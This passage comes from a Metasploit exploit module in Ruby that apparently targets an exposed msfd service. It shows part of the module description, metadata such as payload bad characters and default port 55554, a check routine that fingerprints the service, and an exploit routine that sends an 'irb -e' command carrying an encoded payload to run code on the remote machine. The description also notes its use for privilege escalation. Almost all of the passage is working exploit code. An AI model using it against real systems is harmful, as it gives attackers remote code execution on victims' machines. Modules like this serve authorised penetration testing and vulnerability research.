If this socket is accessible on a remote interface, an attacker can execute commands on the victim's machine. If msfd is running with higher privileges than the current local user, this module can also be used for privilege escalation. In that case, port forwarding on the compromised host can be used. Code execution is achieved with the msfconsole command: irb -e 'CODE'. }, 'Author' => 'Robin Stenvi <robin.stenvi[at]gmail.com>', 'License' => BSD_LICENSE, 'Platform' => "ruby", 'Arch' => ARCH_RUBY, 'Payload' => { 'Space' => 8192, # Arbitrary limit 'BadChars' => "\x27\x0a", 'DisableNops' => true }, 'Targets' => [ [ 'Automatic', { } ] ], 'Privileged' => false, 'DisclosureDate' => 'Apr 11 2018', # Vendor notification 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(55554) ]) end def check connect data = sock.get_once if data.include?("msf") disconnect return Exploit::CheckCode::Appears end disconnect return Exploit::CheckCode::Unknown end def exploit connect sock.get_once sock.put "irb -e '" + payload.encoded + "'\n" disconnect end end |
